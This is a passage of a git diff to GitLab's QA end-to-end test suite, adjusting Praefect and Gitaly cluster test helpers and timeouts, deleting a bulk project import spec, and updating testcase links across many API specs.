@primary_node => false,
@secondary_node => false,
@@ -304,7 +306,7 @@ module QA
end
def wait_until_node_is_removed_from_healthy_storages(node)
- Support::Waiter.wait_until(max_duration: 60, sleep_interval: 3, raise_on_failure: false) do
+ Support::Waiter.wait_until(max_duration: 120, sleep_interval: 1, raise_on_failure: true) do
result = []
shell sql_to_docker_exec_cmd("SELECT count(*) FROM healthy_storages WHERE storage = '#{node}';") do |line|
result << line
@@ -315,7 +317,7 @@ module QA
end
def wait_until_node_is_marked_as_healthy_storage(node)
- Support::Waiter.wait_until(max_duration: 60, sleep_interval: 3, raise_on_failure: false) do
+ Support::Waiter.wait_until(max_duration: 120, sleep_interval: 1, raise_on_failure: true) do
result = []
shell sql_to_docker_exec_cmd("SELECT count(*) FROM healthy_storages WHERE storage = '#{node}';") do |line|
result << line
@@ -327,17 +329,10 @@ module QA
end
def wait_for_gitaly_check
- Support::Waiter.repeat_until(max_attempts: 3) do
- storage_ok = false
- check_finished = false
-
- wait_until_shell_command("docker exec #{@gitlab} bash -c 'gitlab-rake gitlab:gitaly:check'") do |line|
+ Support::Waiter.wait_until(max_duration: 120, sleep_interval: 1, raise_on_failure: true) do
+ wait_until_shell_command("docker exec #{@gitlab} bash -c 'gitlab-rake gitlab:git:fsck'") do |line|
QA::Runtime::Logger.debug(line.chomp)
-
- storage_ok = true if line =~ /Gitaly: ... #{@virtual_storage} ... OK/
- check_finished = true if line =~ /Checking Gitaly ... Finished/
-
- storage_ok && check_finished
+ line.include?('Done')
end
end
end
@@ -347,7 +342,7 @@ module QA
# has no pre-read data, consider it to have had zero reads.
def wait_for_read_count_change(pre_read_data)
diff_found = false
- Support::Waiter.wait_until(sleep_interval: 5) do
+ Support::Waiter.wait_until(sleep_interval: 1, max_duration: 60) do
query_read_distribution.each_with_index do |data, index|
diff_found = true if data[:value] > value_for_node(pre_read_data, data[:node])
end
@@ -361,10 +356,8 @@ module QA
def wait_for_reliable_connection
QA::Runtime::Logger.info('Wait until GitLab and Praefect can communicate reliably')
- wait_for_praefect
wait_for_sql_ping
wait_for_storage_nodes
- wait_for_gitaly_check
end
def wait_for_replication(project_id)
@@ -400,20 +393,15 @@ module QA
def list_untracked_repositories
untracked_repositories = []
shell "docker exec #{@praefect} bash -c 'gitlab-ctl praefect list-untracked-repositories'" do |line|
- # Results look like this depending on whether untracked items found or not
- # Running list-untracked-repositories
- # Done.
-
- # Running list-untracked-repositories
+ # Results look like this
+ # The following repositories were found on disk, but missing from the tracking database:
# {"relative_path":"@hashed/aa/bb.git","storage":"gitaly1","virtual_storage":"default"}
# {"relative_path":"@hashed/bb/cc.git","storage":"gitaly3","virtual_storage":"default"}
- # Done.
QA::Runtime::Logger.debug(line.chomp)
- next if line.start_with?('Running list-untracked-repositories')
- next if line.start_with?('Done.')
-
untracked_repositories.append(JSON.parse(line))
+ rescue JSON::ParserError
+ # Ignore lines that can't be parsed as JSON
end
QA::Runtime::Logger.debug("list_untracked_repositories --- #{untracked_repositories}")
diff --git a/qa/qa/specs/features/api/1_manage/bulk_import_group_spec.rb b/qa/qa/specs/features/api/1_manage/bulk_import_group_spec.rb
index 158881ed94c..799a5f7eaf2 100644
--- a/qa/qa/specs/features/api/1_manage/bulk_import_group_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/bulk_import_group_spec.rb
@@ -4,7 +4,7 @@ module QA
# run only base UI validation on staging because test requires top level group creation which is problematic
# on staging environment
RSpec.describe 'Manage', :requires_admin, except: { subdomain: :staging } do
- describe 'Bulk group import' do
+ describe 'Gitlab migration' do
let(:import_wait_duration) { { max_duration: 300, sleep_interval: 2 } }
let(:admin_api_client) { Runtime::API::Client.as_admin }
let(:user) do
@@ -26,6 +26,7 @@ module QA
Resource::Sandbox.fabricate_via_api! do |group|
group.api_client = api_client
group.path = "source-group-for-import-#{SecureRandom.hex(4)}"
+ group.avatar = File.new('qa/fixtures/designs/tanuki.jpg', 'r')
end
end
@@ -37,11 +38,19 @@ module QA
end
end
+ let(:import_failures) do
+ imported_group.import_details.sum([]) { |details| details[:failures] }
+ end
+
before do
sandbox.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
end
- after do
+ after do |example|
+ # Checking for failures in the test currently makes test very flaky due to catching unrelated failures
+ # Just log in case of failure until cause of network errors is found
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/346500
+ Runtime::Logger.warn(import_failures) if example.exception && !import_failures.empty?
user.remove_via_api!
end
@@ -73,11 +82,13 @@ module QA
label.group = subgroup
label.title = "subgroup-#{SecureRandom.hex(4)}"
end
+
+ imported_group # trigger import
end
it(
'successfully imports groups and labels',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1873'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347674'
) do
expect { imported_group.import_status }.to eventually_eq('finished').within(import_wait_duration)
@@ -108,11 +119,13 @@ module QA
badge.link_url = "http://example.com/badge"
badge.image_url = "http://shields.io/badge"
end
+
+ imported_group # trigger import
end
it(
'successfully imports group milestones and badges',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2245'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347628'
) do
expect { imported_group.import_status }.to eventually_eq('finished').within(import_wait_duration)
@@ -139,6 +152,8 @@ module QA
before do
member.set_public_email
source_group.add_member(member, Resource::Members::AccessLevel::DEVELOPER)
+
+ imported_group # trigger import
end
after do
@@ -147,14 +162,16 @@ module QA
it(
'adds members for imported group',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2310'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347609'
) do
expect { imported_group.import_status }.to eventually_eq('finished').within(import_wait_duration)
imported_member = imported_group.reload!.members.find { |usr| usr.username == member.username }
- expect(imported_member).not_to be_nil
- expect(imported_member.access_level).to eq(Resource::Members::AccessLevel::DEVELOPER)
+ aggregate_failures do
+ expect(imported_member).not_to be_nil
+ expect(imported_member.access_level).to eq(Resource::Members::AccessLevel::DEVELOPER)
+ end
end
end
end
diff --git a/qa/qa/specs/features/api/1_manage/bulk_import_project_spec.rb b/qa/qa/specs/features/api/1_manage/bulk_import_project_spec.rb
deleted file mode 100644
index 14c94e99446..00000000000
--- a/qa/qa/specs/features/api/1_manage/bulk_import_project_spec.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- # run only base UI validation on staging because test requires top level group creation which is problematic
- # on staging environment
- RSpec.describe 'Manage', :requires_admin, except: { subdomain: :staging } do
- describe 'Bulk project import' do
- let(:import_wait_duration) { { max_duration: 300, sleep_interval: 2 } }
- let(:admin_api_client) { Runtime::API::Client.as_admin }
- let(:user) do
- Resource::User.fabricate_via_api! do |usr|
- usr.api_client = admin_api_client
- usr.hard_delete_on_api_removal = true
- end
- end
-
- let(:api_client) { Runtime::API::Client.new(user: user) }
-
- let(:sandbox) do
- Resource::Sandbox.fabricate_via_api! do |group|
- group.api_client = admin_api_client
- end
- end
-
- let(:source_group) do
- Resource::Sandbox.fabricate_via_api! do |group|
- group.api_client = api_client
- group.path = "source-group-for-import-#{SecureRandom.hex(4)}"
- end
- end
-
- let(:source_project) do
- Resource::Project.fabricate_via_api! do |project|
- project.api_client = api_client
- project.group = source_group
- project.initialize_with_readme = true
- end
- end
-
- let(:imported_group) do
- Resource::BulkImportGroup.fabricate_via_api! do |group|
- group.api_client = api_client
- group.sandbox = sandbox
- group.source_group_path = source_group.path
- end
- end
-
- let(:imported_projects) do
- imported_group.reload!.projects
- end
-
- let(:project_import_failures) do
- imported_group.import_details
- .find { |entity| entity[:destination_name] == source_project.name }
- &.fetch(:failures)
- end
-
- before do
- Runtime::Feature.enable(:bulk_import_projects)
-
- sandbox.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
-
- source_project.tap { |project| project.add_push_rules(member_check: true) } # fabricate source group and project
- end
-
- after do
- user.remove_via_api!
- ensure
- Runtime::Feature.disable(:bulk_import_projects)
- end
-
- context 'with project' do
- before do
- imported_group # trigger import
- end
-
- it(
- 'successfully imports project',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2297'
- ) do
- expect { imported_group.import_status }.to eventually_eq('finished').within(import_wait_duration)
- expect(imported_projects.count).to eq(1), "Expected to have 1 imported project"
-
- aggregate_failures do
- expect(imported_projects.first).to eq(source_project)
- expect(project_import_failures).to be_empty, "Expected no errors, was: #{project_import_failures}"
- end
- end
- end
-
- context 'with project issues' do
- let(:source_issue) do
- Resource::Issue.fabricate_via_api! do |issue|
- issue.api_client = api_client
- issue.project = source_project
- issue.labels = %w[label_one label_two]
- end
- end
-
- let(:imported_issues) do
- imported_projects.first.issues
- end
-
- let(:imported_issue) do
- issue = imported_issues.first
- Resource::Issue.init do |resource|
- resource.api_client = api_client
- resource.project = imported_projects.first
- resource.iid = issue[:iid]
- end
- end
-
- before do
- source_issue # fabricate source group, project, issue
- imported_group # trigger import
- end
-
- it(
- 'successfully imports issue',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2325'
- ) do
- expect { imported_group.import_status }.to eventually_eq('finished').within(import_wait_duration)
- expect(imported_projects.count).to eq(1), "Expected to have 1 imported project"
-
- aggregate_failures do
- expect(imported_issues.count).to eq(1)
- expect(imported_issue.reload!).to eq(source_issue)
- expect(project_import_failures).to be_empty, "Expected no errors, was: #{project_import_failures}"
- end
- end
- end
- end
- end
-end
diff --git a/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb b/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb
index 744f39525b9..4bc95395f25 100644
--- a/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb
@@ -30,7 +30,7 @@ module QA
user.remove_via_api!
end
- it 'imports Github repo via api', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1878' do
+ it 'imports Github repo via api', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347670' do
imported_project # import the project
expect { imported_project.reload!.import_status }.to eventually_eq('finished').within(max_duration: 90)
diff --git a/qa/qa/specs/features/api/1_manage/import_large_github_repo_spec.rb b/qa/qa/specs/features/api/1_manage/import_large_github_repo_spec.rb
index 3a2f960d812..c46de0ac514 100644
--- a/qa/qa/specs/features/api/1_manage/import_large_github_repo_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/import_large_github_repo_spec.rb
@@ -121,7 +121,7 @@ module QA
it(
'imports large Github repo via api',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1880'
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347668'
) do
start = Time.now
diff --git a/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
index 47c07875257..13a795ca976 100644
--- a/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
@@ -4,17 +4,20 @@ module QA
RSpec.describe 'Manage' do
describe 'Project access token' do
before(:all) do
- @project_access_token = QA::Resource::ProjectAccessToken.fabricate_via_api!
+ @project_access_token = QA::Resource::ProjectAccessToken.fabricate_via_api! do |pat|
+ pat.project = Resource::ReusableProject.fabricate_via_api!
+ end
+
@user_api_client = Runtime::API::Client.new(:gitlab, personal_access_token: @project_access_token.token)
end
context 'for the same project' do
- it 'can be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1823' do
+ it 'can be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347858' do
expect do
Resource::File.fabricate_via_api! do |file|
file.api_client = @user_api_client
file.project = @project_access_token.project
- file.branch = 'new_branch'
+ file.branch = "new_branch_#{SecureRandom.hex(8)}"
file.commit_message = 'Add new file'
file.name = "text-#{SecureRandom.hex(8)}.txt"
file.content = 'New file'
@@ -22,12 +25,12 @@ module QA
end.not_to raise_error
end
- it 'can be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1822' do
+ it 'can be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347859' do
expect do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.api_client = @user_api_client
commit.project = @project_access_token.project
- commit.branch = 'new_branch'
+ commit.branch = "new_branch_#{SecureRandom.hex(8)}"
commit.start_branch = @project_access_token.project.default_branch
commit.commit_message = 'Add new file'
commit.add_files([
@@ -43,12 +46,12 @@ module QA
@different_project = Resource::Project.fabricate!
end
- it 'cannot be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1821' do
+ it 'cannot be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347860' do
expect do
Resource::File.fabricate_via_api! do |file|
file.api_client = @user_api_client
file.project = @different_project
- file.branch = 'new_branch'
+ file.branch = "new_branch_#{SecureRandom.hex(8)}"
file.commit_message = 'Add new file'
file.name = "text-#{SecureRandom.hex(8)}.txt"
file.content = 'New file'
@@ -56,12 +59,12 @@ module QA
end.to raise_error(Resource::ApiFabricator::ResourceFabricationFailedError, /403 Forbidden/)
end
- it 'cannot be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1820' do
+ it 'cannot be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347861' do
expect do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.api_client = @user_api_client
commit.project = @different_project
- commit.branch = 'new_branch'
+ commit.branch = "new_branch_#{SecureRandom.hex(8)}"
commit.start_branch = @different_project.default_branch
commit.commit_message = 'Add new file'
commit.add_files([
diff --git a/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb b/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
index 9eb1bd985ea..17ffb901e5a 100644
--- a/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
@@ -8,7 +8,7 @@ module QA
let(:api_client) { Runtime::API::Client.new(:gitlab, ip_limits: true) }
let(:request) { Runtime::API::Request.new(api_client, '/users') }
- it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1567' do
+ it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347881' do
5.times do
get request.url
expect_status(200)
diff --git a/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb b/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
index a149c42877f..e47e5d22e5e 100644
--- a/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
@@ -30,7 +30,7 @@ module QA
@group.sandbox.remove_member(@user)
end
- it 'is not allowed to push code via the CLI', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1712' do
+ it 'is not allowed to push code via the CLI', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347863' do
expect do
Resource::Repository::Push.fabricate! do |push|
push.repository_http_uri = @project.repository_http_location.uri
@@ -43,7 +43,7 @@ module QA
end.to raise_error(QA::Support::Run::CommandError, /You are not allowed to push code to this project/)
end
- it 'is not allowed to create a file via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1711' do
+ it 'is not allowed to create a file via the API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347864' do
expect do
Resource::File.fabricate_via_api! do |file|
file.api_client = @user_api_client
@@ -56,7 +56,7 @@ module QA
end.to raise_error(Resource::ApiFabricator::ResourceFabricationFailedError, /403 Forbidden/)
end
- it 'is not allowed to commit via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1710' do
+ it 'is not allowed to commit via the API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347865' do
expect do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.api_client = @user_api_client
diff --git a/qa/qa/specs/features/api/1_manage/users_spec.rb b/qa/qa/specs/features/api/1_manage/users_spec.rb
index b705ce9e174..53587209bfb 100644
--- a/qa/qa/specs/features/api/1_manage/users_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/users_spec.rb
@@ -8,13 +8,13 @@ module QA
let(:api_client) { Runtime::API::Client.new(:gitlab) }
let(:request) { Runtime::API::Request.new(api_client, '/users') }
- it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1552' do
+ it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347882' do
get request.url
expect_status(200)
end
- it 'GET /users/:username with a valid username', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1544' do
+ it 'GET /users/:username with a valid username', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347886' do
get request.url, { params: { username: Runtime::User.username } }
expect_status(200)
@@ -23,7 +23,7 @@ module QA
)
end
- it 'GET /users/:username with an invalid username', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1551' do
+ it 'GET /users/:username with an invalid username', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347883' do
get request.url, { params: { username: SecureRandom.hex(10) } }
expect_status(200)
diff --git a/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb b/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
index dabd97d69d0..073669f033c 100644
--- a/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
+++ b/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
@@ -22,7 +22,7 @@ module QA
push_commit('Initial commit')
end
- it 'closes via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1579' do
+ it 'closes via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347947' do
push_commit("Closes ##{issue_id}", false)
Support::Retrier.retry_until(max_duration: 10, sleep_interval: 1) do
diff --git a/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
index b85a0116f01..51927a30987 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
@@ -22,13 +22,11 @@ module QA
end
end
- after(:context, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238187', type: :stale }) do
- # Leave the cluster in a suitable state for subsequent tests,
- # if there was a problem during the tests here
+ after do
praefect_manager.start_all_nodes
end
- it 'automatically fails over', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1267' do
+ it 'automatically fails over', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347830' do
# Create a new project with a commit and wait for it to replicate
# make sure that our project is published to the 'primary' node
@@ -44,10 +42,7 @@ module QA
push.file_content = "This should exist on all nodes"
end
- praefect_manager.start_secondary_node
- praefect_manager.start_tertiary_node
- praefect_manager.wait_for_health_check_all_nodes
-
+ praefect_manager.start_all_nodes
praefect_manager.wait_for_replication(project.id)
# Stop the primary node to trigger failover, and then wait
@@ -76,7 +71,7 @@ module QA
end
context 'when recovering from dataloss after failover' do
- it 'automatically reconciles', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238187', type: :stale }, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1266' do
+ it 'automatically reconciles', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347831' do
# Start the old primary node again
praefect_manager.start_primary_node
praefect_manager.wait_for_primary_node_health_check
diff --git a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
index 62437598f3b..25e860b4f6d 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
@@ -22,14 +22,14 @@ module QA
praefect_manager.start_all_nodes
end
- it 'recovers from dataloss', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1265' do
+ it 'recovers from dataloss', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347832' do
# Create a new project with a commit and wait for it to replicate
praefect_manager.wait_for_replication(project.id)
# Stop the primary node to trigger failover, and then wait
# for Gitaly to be ready for writes again
praefect_manager.stop_primary_node
- praefect_manager.wait_for_gitaly_check
+ praefect_manager.wait_for_primary_node_health_check_failure
# Push a commit to the new primary
Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
index a4251475e97..624ddbb68e1 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
@@ -24,7 +24,7 @@ module QA
end
end
- context 'when moving from one Gitaly storage to another', :orchestrated, :repository_storage, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1270' do
+ context 'when moving from one Gitaly storage to another', :orchestrated, :repository_storage, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347827' do
let(:source_storage) { { type: :gitaly, name: 'default' } }
let(:destination_storage) { { type: :gitaly, name: QA::Runtime::Env.additional_repository_storage } }
let(:project) do
@@ -45,7 +45,7 @@ module QA
# Note: This test doesn't have the :orchestrated tag because it runs in the Test::Integration::Praefect
# scenario with other tests that aren't considered orchestrated.
# It also runs on staging using nfs-file07 as non-cluster storage and nfs-file22 as cluster/praefect storage
- context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1269', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284645', type: :investigating } do
+ context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347828', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284645', type: :investigating } do
let(:source_storage) { { type: :gitaly, name: QA::Runtime::Env.non_cluster_repository_storage } }
let(:destination_storage) { { type: :praefect, name: QA::Runtime::Env.praefect_repository_storage } }
let(:project) do
diff --git a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
index dfc2de02bf0..150378016e1 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
@@ -25,7 +25,7 @@ module QA
praefect_manager.start_all_nodes
end
- it 'reads from each node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1264' do
+ it 'reads from each node', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347833' do
pre_read_data = praefect_manager.query_read_distribution
wait_for_reads_to_increase(project, number_of_reads_per_loop, pre_read_data)
@@ -42,6 +42,7 @@ module QA
context 'when a node is unhealthy' do
before do
+ praefect_manager.start_all_nodes
praefect_manager.stop_secondary_node
praefect_manager.wait_for_secondary_node_health_check_failure
end
@@ -51,7 +52,7 @@ module QA
praefect_manager.start_all_nodes
end
- it 'does not read from the unhealthy node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1263' do
+ it 'does not read from the unhealthy node', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347834' do
pre_read_data = praefect_manager.query_read_distribution
read_from_project(project, number_of_reads_per_loop * 10)
diff --git a/qa/qa/specs/features/api/3_create/gitaly/gitaly_mtls_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/gitaly_mtls_spec.rb
index 237b8055d94..5000c273578 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/gitaly_mtls_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/gitaly_mtls_spec.rb
@@ -8,7 +8,7 @@ module QA
let(:first_added_commit_message) { 'commit over git' }
let(:second_added_commit_message) { 'commit over api' }
- it 'pushes to gitaly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1843' do
+ it 'pushes to gitaly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347677' do
project = Resource::Project.fabricate! do |project|
project.name = "mTLS"
project.initialize_with_readme = true
diff --git a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
index cd60f3fdf7c..e7e23124312 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
@@ -4,7 +4,7 @@ require 'parallel'
module QA
RSpec.describe 'Create' do
- context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env do
+ context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/346453', type: :flaky } do
let(:praefect_manager) { Service::PraefectManager.new }
let(:project) do
Resource::Project.fabricate! do |project|
@@ -13,13 +13,18 @@ module QA
end
end
+ before do
+ praefect_manager.start_all_nodes
+ praefect_manager.start_praefect
+ end
+
after do
+ praefect_manager.start_all_nodes
praefect_manager.start_praefect
- praefect_manager.wait_for_reliable_connection
praefect_manager.clear_replication_queue
end
- it 'allows replication of different repository after interruption', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1268' do
+ it 'allows replication of different repository after interruption', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347829' do
# We want to fill the replication queue with 10 `in_progress` jobs,
# while a lock has been acquired, which is when the problem occurred
# as reported in https://gitlab.com/gitlab-org/gitaly/-/issues/2801
@@ -51,7 +56,6 @@ module QA
praefect_manager.create_stalled_replication_queue
praefect_manager.start_praefect
- praefect_manager.wait_for_reliable_connection
# Create a new project, push to it, and check that replication occurs
project_push = Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/api/3_create/gitaly/praefect_repo_sync_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/praefect_repo_sync_spec.rb
index 07ea7971396..cc49e408954 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/praefect_repo_sync_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/praefect_repo_sync_spec.rb
@@ -2,25 +2,27 @@
module QA
RSpec.describe 'Create' do
- context 'Praefect repository commands', :orchestrated, :gitaly_cluster do
+ context 'Praefect repository commands', :orchestrated, :gitaly_cluster, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/347415', type: :investigating } do
let(:praefect_manager) { Service::PraefectManager.new }
let(:repo1) { { "relative_path" => "@hashed/repo1.git", "storage" => "gitaly1", "virtual_storage" => "default" } }
let(:repo2) { { "relative_path" => "@hashed/path/to/repo2.git", "storage" => "gitaly3", "virtual_storage" => "default" } }
before do
+ praefect_manager.start_all_nodes
praefect_manager.add_repo_to_disk(praefect_manager.primary_node, repo1["relative_path"])
praefect_manager.add_repo_to_disk(praefect_manager.tertiary_node, repo2["relative_path"])
end
after do
+ praefect_manager.start_all_nodes
praefect_manager.remove_repo_from_disk(repo1["relative_path"])
praefect_manager.remove_repo_from_disk(repo2["relative_path"])
praefect_manager.remove_repository_from_praefect_database(repo1["relative_path"])
praefect_manager.remove_repository_from_praefect_database(repo2["relative_path"])
end
- it 'allows admin to manage difference between praefect database and disk state', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2344' do
+ it 'allows admin to manage difference between praefect database and disk state', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347606' do
# Some repos are on disk that praefect is not aware of
untracked_repositories = praefect_manager.list_untracked_repositories
expect(untracked_repositories).to include(repo1)
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
index 26ca6de29f7..ab9af872753 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
@@ -11,12 +11,7 @@ module QA
let(:title) { "MR push options test #{SecureRandom.hex(8)}" }
let(:commit_message) { 'Add README.md' }
- let(:project) do
- Resource::Project.fabricate_via_api! do |project|
- project.name = 'merge-request-push-options'
- project.initialize_with_readme = true
- end
- end
+ let(:project) { Resource::ReusableProject.fabricate_via_api! }
def create_new_mr_via_push
Resource::Repository::ProjectPush.fabricate! do |push|
@@ -31,7 +26,7 @@ module QA
end
end
- it 'sets labels', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1244' do
+ it 'sets labels', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347839' do
create_new_mr_via_push
merge_request = project.merge_request_with_title(title)
@@ -45,7 +40,7 @@ module QA
